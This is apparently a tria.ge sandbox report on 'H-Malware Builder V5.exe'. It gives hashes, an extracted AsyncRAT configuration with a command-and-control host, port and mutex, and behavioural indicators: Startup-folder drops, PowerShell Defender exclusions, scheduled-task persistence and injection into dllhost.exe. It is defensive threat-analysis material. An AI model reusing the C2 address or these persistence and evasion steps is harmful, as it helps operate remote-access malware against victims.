Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
71s -
max time network
144s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04/12/2024, 07:47
Static task
static1
Behavioral task
behavioral1
Sample
H-Malware Builder V5.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral2
Sample
H-Malware Builder V5.exe
Resource
win10ltsc2021-20241023-en
Behavioral task
behavioral3
Sample
H-Malware Builder V5.exe
Resource
win11-20241007-en
General
-
Target
H-Malware Builder V5.exe
-
Size
407KB
-
MD5
c8f6d76b4ae82978272bde392561c4f4
-
SHA1
80447d36fcf88cc9caa806db53e22d9468cc31ee
-
SHA256
c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e
-
SHA512
10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad
-
SSDEEP
12288:r5p4UNBN3aqeKNoRfwoZrHMBV9EwEcb8+DvtuWUb:r9N3aqPCRooZwBjEhcYcvYWUb
Malware Config
Extracted
asyncrat
1.0.7
Default
bay-helps.gl.at.ply.gg:36538
DcRatMutex_qwqdanchun
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 27 IoCs
description pid Process procid_target PID 2236 created 432 2236 Stub.exe 5 PID 2492 created 432 2492 Stub.exe 5 PID 1792 created 432 1792 Stub.exe 5 PID 2972 created 432 2972 Stub.exe 5 PID 2160 created 432 2160 Stub.exe 5 PID 2732 created 432 2732 Stub.exe 5 PID 2632 created 432 2632 Stub.exe 5 PID 2488 created 432 2488 Stub.exe 5 PID 2340 created 432 2340 Stub.exe 5 PID 1948 created 432 1948 Stub.exe 5 PID 2056 created 432 2056 Stub.exe 5 PID 1808 created 432 1808 Stub.exe 5 PID 1296 created 432 1296 Stub.exe 5 PID 1592 created 432 1592 Stub.exe 5 PID 2536 created 432 2536 Stub.exe 5 PID 1724 created 432 1724 Stub.exe 5 PID 1792 created 432 1792 Stub.exe 5 PID 2616 created 432 2616 Stub.exe 5 PID 2608 created 432 2608 Stub.exe 5 PID 2788 created 432 2788 Stub.exe 5 PID 2772 created 432 2772 Stub.exe 5 PID 1012 created 432 1012 Stub.exe 5 PID 2816 created 432 2816 Stub.exe 5 PID 1104 created 432 1104 Stub.exe 5 PID 2176 created 432 2176 Stub.exe 5 PID 3048 created 432 3048 Stub.exe 5 PID 1812 created 432 1812 Stub.exe 5 -
Async RAT payload 18 IoCs
resource yara_rule behavioral4/files/0x0007000000004e74-13.dat family_asyncrat behavioral4/memory/2236-253-0x00000000005F0000-0x0000000000602000-memory.dmp family_asyncrat behavioral4/memory/2492-445-0x0000000000600000-0x0000000000612000-memory.dmp family_asyncrat behavioral4/memory/2160-971-0x0000000000580000-0x0000000000592000-memory.dmp family_asyncrat behavioral4/memory/2340-1821-0x0000000000700000-0x0000000000712000-memory.dmp family_asyncrat behavioral4/memory/2056-2210-0x00000000006D0000-0x00000000006E2000-memory.dmp family_asyncrat behavioral4/memory/2616-3554-0x00000000005F0000-0x0000000000602000-memory.dmp family_asyncrat behavioral4/memory/2772-4150-0x0000000000790000-0x00000000007A2000-memory.dmp family_asyncrat behavioral4/memory/1104-4728-0x0000000000600000-0x0000000000612000-memory.dmp family_asyncrat behavioral4/memory/1812-5304-0x0000000000730000-0x0000000000742000-memory.dmp family_asyncrat behavioral4/memory/2860-5488-0x0000000000820000-0x0000000000832000-memory.dmp family_asyncrat behavioral4/memory/992-6612-0x0000000000740000-0x0000000000752000-memory.dmp family_asyncrat behavioral4/memory/408-7230-0x00000000007E0000-0x00000000007F2000-memory.dmp family_asyncrat behavioral4/memory/1864-7670-0x00000000006D0000-0x00000000006E2000-memory.dmp family_asyncrat behavioral4/memory/2376-8210-0x00000000006D0000-0x00000000006E2000-memory.dmp family_asyncrat behavioral4/memory/3008-8752-0x0000000000500000-0x0000000000512000-memory.dmp family_asyncrat behavioral4/memory/2760-9640-0x00000000006D0000-0x00000000006E2000-memory.dmp family_asyncrat behavioral4/memory/2544-10238-0x00000000007B0000-0x00000000007C2000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 55 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2632 powershell.exe 2508 powershell.exe 2688 powershell.exe 1532 powershell.exe 2764 powershell.exe 1892 powershell.exe 1404 powershell.exe 2768 powershell.exe 1924 powershell.exe 108 powershell.exe 1940 powershell.exe 2676 powershell.exe 2104 powershell.exe 108 powershell.exe 680 powershell.exe 2304 powershell.exe 996 powershell.exe 1664 powershell.exe 572 powershell.exe 1032 powershell.exe 2064 powershell.exe 2956 powershell.exe 2668 powershell.exe 980 powershell.exe 2144 powershell.exe 2104 powershell.exe 1916 powershell.exe 1132 powershell.exe 536 powershell.exe 2340 powershell.exe 1916 powershell.exe 1148 powershell.exe 2220 powershell.exe 1548 powershell.exe 2340 powershell.exe 1656 powershell.exe 1408 powershell.exe 1288 powershell.exe 2744 powershell.exe 1672 powershell.exe 1960 powershell.exe 2976 powershell.exe 2152 powershell.exe 1544 powershell.exe 2276 powershell.exe 1760 powershell.exe 1620 powershell.exe 2100 powershell.exe 2692 powershell.exe 1580 powershell.exe 1688 powershell.exe 1240 powershell.exe 1408 powershell.exe 444 powershell.exe 2128 powershell.exe -
Drops startup file 27 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V5.exe -
Executes dropped EXE 27 IoCs
pid Process 2236 Stub.exe 2492 Stub.exe 1792 Stub.exe 2972 Stub.exe 2160 Stub.exe 2732 Stub.exe 2632 Stub.exe 2488 Stub.exe 2340 Stub.exe 1948 Stub.exe 2056 Stub.exe 1808 Stub.exe 1296 Stub.exe 1592 Stub.exe 2536 Stub.exe 1724 Stub.exe 1792 Stub.exe 2616 Stub.exe 2608 Stub.exe 2788 Stub.exe 2772 Stub.exe 1012 Stub.exe 2816 Stub.exe 1104 Stub.exe 2176 Stub.exe 3048 Stub.exe 1812 Stub.exe -
Drops file in System32 directory 16 IoCs
description ioc Process File created C:\Windows\system32\perfh010.dat WMIADAP.EXE File opened for modification C:\Windows\System32\Tasks\$77Stub.exe svchost.exe File created C:\Windows\system32\perfh007.dat WMIADAP.EXE File created C:\Windows\system32\perfh00A.dat WMIADAP.EXE File created C:\Windows\system32\perfc00C.dat WMIADAP.EXE File opened for modification C:\Windows\system32\PerfStringBackup.INI WMIADAP.EXE File created C:\Windows\system32\perfc007.dat WMIADAP.EXE File created C:\Windows\system32\perfc009.dat WMIADAP.EXE File created C:\Windows\system32\perfc010.dat WMIADAP.EXE File created C:\Windows\system32\perfh011.dat WMIADAP.EXE File created C:\Windows\System32\Tasks\$77Stub.exe svchost.exe File created C:\Windows\system32\perfh009.dat WMIADAP.EXE File created C:\Windows\system32\perfc00A.dat WMIADAP.EXE File created C:\Windows\system32\PerfStringBackup.TMP WMIADAP.EXE File created C:\Windows\system32\perfh00C.dat WMIADAP.EXE File created C:\Windows\system32\perfc011.dat WMIADAP.EXE -
Suspicious use of SetThreadContext 27 IoCs
description pid Process procid_target PID 2236 set thread context of 2720 2236 Stub.exe 35 PID 2492 set thread context of 1444 2492 Stub.exe 47 PID 1792 set thread context of 908 1792 Stub.exe 59 PID 2972 set thread context of 2772 2972 Stub.exe 71 PID 2160 set thread context of 2224 2160 Stub.exe 83 PID 2732 set thread context of 108 2732 Stub.exe 95 PID 2632 set thread context of 1940 2632 Stub.exe 107 PID 2488 set thread context of 2800 2488 Stub.exe 119 PID 2340 set thread context of 1984 2340 Stub.exe 131 PID 1948 set thread context of 2876 1948 Stub.exe 143 PID 2056 set thread context of 1776 2056 Stub.exe 155 PID 1808 set thread context of 2952 1808 Stub.exe 167 PID 1296 set thread context of 2564 1296 Stub.exe 179 PID 1592 set thread context of 2732 1592 Stub.exe 277 PID 2536 set thread context of 1940 2536 Stub.exe 307 PID 1724 set thread context of 2608 1724 Stub.exe 249 PID 1792 set thread context of 1936 1792 Stub.exe 227 PID 2616 set thread context of 1720 2616 Stub.exe 239 PID 2608 set thread context of 2276 2608 Stub.exe 410 PID 2788 set thread context of 2664 2788 Stub.exe 370 PID 2772 set thread context of 2712 2772 Stub.exe 275 PID 1012 set thread context of 1536 1012 Stub.exe 287 PID 2816 set thread context of 1608 2816 Stub.exe 299 PID 1104 set thread context of 2672 1104 Stub.exe 311 PID 2176 set thread context of 2592 2176 Stub.exe 323 PID 3048 set thread context of 2664 3048 Stub.exe 529 PID 1812 set thread context of 2188 1812 Stub.exe 347 -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File opened for modification C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File created C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini WMIADAP.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 892 SCHTASKS.exe 1980 SCHTASKS.exe 3064 SCHTASKS.exe 1256 SCHTASKS.exe 2772 SCHTASKS.exe 1748 SCHTASKS.exe 3044 SCHTASKS.exe 1828 SCHTASKS.exe 1224 SCHTASKS.exe 2644 SCHTASKS.exe 2036 SCHTASKS.exe 2964 SCHTASKS.exe 2888 SCHTASKS.exe 2644 SCHTASKS.exe 1960 SCHTASKS.exe 2092 SCHTASKS.exe 552 SCHTASKS.exe 2128 SCHTASKS.exe 1004 SCHTASKS.exe 1048 SCHTASKS.exe 372 SCHTASKS.exe 2184 SCHTASKS.exe 1624 SCHTASKS.exe 2972 SCHTASKS.exe 1364 SCHTASKS.exe 2052 SCHTASKS.exe 2776 SCHTASKS.exe 1368 SCHTASKS.exe 1520 SCHTASKS.exe 916 SCHTASKS.exe 1688 SCHTASKS.exe 560 SCHTASKS.exe 2676 SCHTASKS.exe 2752 SCHTASKS.exe 1616 SCHTASKS.exe 772 SCHTASKS.exe 1620 SCHTASKS.exe 2812 SCHTASKS.exe 2328 SCHTASKS.exe 2292 SCHTASKS.exe 1156 SCHTASKS.exe 2900 SCHTASKS.exe 648 SCHTASKS.exe 2072 SCHTASKS.exe 1592 SCHTASKS.exe 1588 SCHTASKS.exe 1564 SCHTASKS.exe 872 SCHTASKS.exe 2056 SCHTASKS.exe 3064 SCHTASKS.exe 1104 SCHTASKS.exe 1440 SCHTASKS.exe 2464 SCHTASKS.exe 3036 SCHTASKS.exe 560 SCHTASKS.exe 944 SCHTASKS.exe 1364 SCHTASKS.exe 1932 SCHTASKS.exe 1648 SCHTASKS.exe 408 SCHTASKS.exe 2376 SCHTASKS.exe 2276 SCHTASKS.exe 484 SCHTASKS.exe 2860 SCHTASKS.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 572 powershell.exe 2236 Stub.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2076 powershell.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2692 powershell.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2720 dllhost.exe 2492 Stub.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe 2480 powershell.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe 1444 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 572 powershell.exe Token: SeDebugPrivilege 2236 Stub.exe Token: SeDebugPrivilege 2236 Stub.exe Token: SeDebugPrivilege 2720 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 2076 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 2692 powershell.exe Token: SeDebugPrivilege 2492 Stub.exe Token: SeDebugPrivilege 2492 Stub.exe Token: SeDebugPrivilege 1444 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1792 Stub.exe Token: SeDebugPrivilege 1792 Stub.exe Token: SeDebugPrivilege 908 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1656 powershell.exe Token: SeDebugPrivilege 2972 Stub.exe Token: SeDebugPrivilege 2972 Stub.exe Token: SeDebugPrivilege 2772 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 2672 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 536 powershell.exe Token: SeDebugPrivilege 2160 Stub.exe Token: SeDebugPrivilege 2160 Stub.exe Token: SeDebugPrivilege 2224 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 896 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1032 powershell.exe Token: SeDebugPrivilege 2732 Stub.exe Token: SeDebugPrivilege 2732 Stub.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeShutdownPrivilege 1192 Explorer.EXE Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 968 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeDebugPrivilege 2632 Stub.exe Token: SeDebugPrivilege 2632 Stub.exe Token: SeDebugPrivilege 1940 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1552 powershell.exe Token: SeShutdownPrivilege 1192 Explorer.EXE Token: SeShutdownPrivilege 1192 Explorer.EXE Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 980 powershell.exe Token: SeDebugPrivilege 2488 Stub.exe Token: SeDebugPrivilege 2488 Stub.exe Token: SeDebugPrivilege 2800 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1844 powershell.exe Token: SeAuditPrivilege 856 svchost.exe Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 2340 Stub.exe Token: SeDebugPrivilege 2340 Stub.exe Token: SeDebugPrivilege 1984 dllhost.exe Token: SeAuditPrivilege 856 svchost.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
pid Process 1716 conhost.exe 1856 conhost.exe 1792 conhost.exe 896 conhost.exe 2440 conhost.exe 2820 conhost.exe 3052 conhost.exe 2924 conhost.exe 2000 Process not Found 2788 Process not Found 1584 conhost.exe 680 conhost.exe 560 Process not Found 1516 Process not Found 836 Process not Found 1980 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3020 wrote to memory of 572 3020 H-Malware Builder V5.exe 31 PID 3020 wrote to memory of 572 3020 H-Malware Builder V5.exe 31 PID 3020 wrote to memory of 572 3020 H-Malware Builder V5.exe 31 PID 3020 wrote to memory of 2236 3020 H-Malware Builder V5.exe 33 PID 3020 wrote to memory of 2236 3020 H-Malware Builder V5.exe 33 PID 3020 wrote to memory of 2236 3020 H-Malware Builder V5.exe 33 PID 3020 wrote to memory of 2776 3020 H-Malware Builder V5.exe 34 PID 3020 wrote to memory of 2776 3020 H-Malware Builder V5.exe 34 PID 3020 wrote to memory of 2776 3020 H-Malware Builder V5.exe 34 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2236 wrote to memory of 2720 2236 Stub.exe 35 PID 2720 wrote to memory of 432 2720 dllhost.exe 5 PID 2720 wrote to memory of 476 2720 dllhost.exe 6 PID 2720 wrote to memory of 488 2720 dllhost.exe 7 PID 2720 wrote to memory of 496 2720 dllhost.exe 8 PID 2720 wrote to memory of 604 2720 dllhost.exe 9 PID 2720 wrote to memory of 688 2720 dllhost.exe 10 PID 2720 wrote to memory of 752 2720 dllhost.exe 11 PID 2720 wrote to memory of 820 2720 dllhost.exe 12 PID 2720 wrote to memory of 856 2720 dllhost.exe 13 PID 2720 wrote to memory of 972 2720 dllhost.exe 15 PID 2720 wrote to memory of 284 2720 dllhost.exe 16 PID 2720 wrote to memory of 328 2720 dllhost.exe 17 PID 2720 wrote to memory of 1072 2720 dllhost.exe 18 PID 2720 wrote to memory of 1108 2720 dllhost.exe 19 PID 2720 wrote to memory of 1160 2720 dllhost.exe 20 PID 2720 wrote to memory of 1192 2720 dllhost.exe 21 PID 2720 wrote to memory of 1500 2720 dllhost.exe 23 PID 2720 wrote to memory of 1680 2720 dllhost.exe 24 PID 2720 wrote to memory of 800 2720 dllhost.exe 25 PID 2720 wrote to memory of 2548 2720 dllhost.exe 26 PID 2720 wrote to memory of 2352 2720 dllhost.exe 27 PID 2720 wrote to memory of 1820 2720 dllhost.exe 28 PID 2720 wrote to memory of 2236 2720 dllhost.exe 33 PID 2720 wrote to memory of 2776 2720 dllhost.exe 34 PID 2236 wrote to memory of 1620 2236 Stub.exe 36 PID 2236 wrote to memory of 1620 2236 Stub.exe 36 PID 2236 wrote to memory of 1620 2236 Stub.exe 36 PID 2720 wrote to memory of 1620 2720 dllhost.exe 36 PID 2236 wrote to memory of 1104 2236 Stub.exe 38 PID 2236 wrote to memory of 1104 2236 Stub.exe 38 PID 2236 wrote to memory of 1104 2236 Stub.exe 38 PID 2720 wrote to memory of 1104 2720 dllhost.exe 38 PID 1620 wrote to memory of 2076 1620 cmd.exe 40 PID 1620 wrote to memory of 2076 1620 cmd.exe 40 PID 1620 wrote to memory of 2076 1620 cmd.exe 40 PID 2720 wrote to memory of 1620 2720 dllhost.exe 36 PID 2720 wrote to memory of 2912 2720 dllhost.exe 37 PID 2720 wrote to memory of 1104 2720 dllhost.exe 38 PID 2720 wrote to memory of 108 2720 dllhost.exe 39 PID 2720 wrote to memory of 2076 2720 dllhost.exe 40 PID 2236 wrote to memory of 1880 2236 Stub.exe 41 PID 2236 wrote to memory of 1880 2236 Stub.exe 41 PID 2236 wrote to memory of 1880 2236 Stub.exe 41 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:432
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0ec564ba-e31f-4e5b-826f-8001d3c9b03f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c5fb4818-f865-437a-adca-4da020bfb12d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fa4d7c9f-bcee-4d0d-bc8f-0ba7dbadd1f1}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:908
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4fa7c547-da9f-4170-ba08-336636f93ef3}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dd85a73d-8892-4520-a1cf-a9ca6ac6e2eb}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2224
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b88da785-1b7b-4b9a-8c05-be74a8ac8c5a}2⤵PID:108
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dd614d45-40a1-4824-8083-4019edc740b2}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c33f049c-8913-4919-9eed-9dbffd24a037}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0927ca44-dd20-4ecb-bf9a-7b09ebe086a1}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8e7d6b89-f89e-48c7-a027-4ec6fc962d45}2⤵PID:2876
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{607cb5d2-f5b9-4465-9d2b-28ba54b33ce9}2⤵PID:1776
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dfcf9753-95ae-49ef-9c44-93aaeffd5bb7}2⤵PID:2952
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{38721d7e-d305-4e85-a4d9-cbc91d49b828}2⤵PID:2564
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d650b13e-502d-4f37-80ac-d5ae4bcf0e4c}2⤵PID:2732
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{33bbcc24-6c2b-4af2-b559-ba87c6997930}2⤵PID:1940
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a6505923-19ad-45df-a492-55aa58a86290}2⤵PID:2608
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{cec65d34-1506-4eb1-ac27-e36d1c5723ea}2⤵PID:1936
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{650043ed-65f3-45eb-b55b-1ee8fbc73777}2⤵PID:1720
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{df67ea06-1739-4c0a-bf31-ef8b25adfb9d}2⤵PID:2276
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{58114f5f-9743-4de0-8520-1733e334b658}2⤵PID:2664
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{df831beb-a08a-4a09-bd65-a75f06665555}2⤵PID:2712
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{19a31258-ddda-43db-9e92-bfaaa47b54bf}2⤵PID:1536
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4d79f53e-365d-4737-b3b7-9a17df12ecfa}2⤵PID:1608
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c044b8b9-e471-4840-b23a-89a69c7262fe}2⤵PID:2672
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{898c79fe-38e0-4f24-9ca1-c48924520455}2⤵PID:2592
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a79c3412-c84b-46fe-8881-ca11821fe73d}2⤵PID:2664
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{cb62ebe7-75b0-45f2-8fc9-234bb93c5079}2⤵PID:2188
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bfc53173-380d-4480-859c-d3749bab8b14}2⤵PID:1844
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{522602f1-7ffe-44bc-a0c7-9542985c832e}2⤵PID:2164
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f49f63b9-aa3d-4282-8216-f9516f418eae}2⤵PID:1188
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e2bac1e2-ad5a-4d77-8284-e692be53c90a}2⤵PID:2744
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6eb19d46-c31b-43c8-b165-464db4454bc3}2⤵PID:1628
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fe7748b8-05dc-4ed8-9cca-3f55451cf454}2⤵PID:916
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7adb5363-a431-4b92-9cd0-eab7fe5e6681}2⤵PID:2128
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ef23aaa2-2d49-4443-b881-47d1a6aa832d}2⤵PID:2248
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9c7dea59-5f2e-494d-b107-e42e243b8d1d}2⤵PID:2488
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bd07fff7-47fc-42d4-adf2-a153bb5bbbe4}2⤵PID:1576
-
-
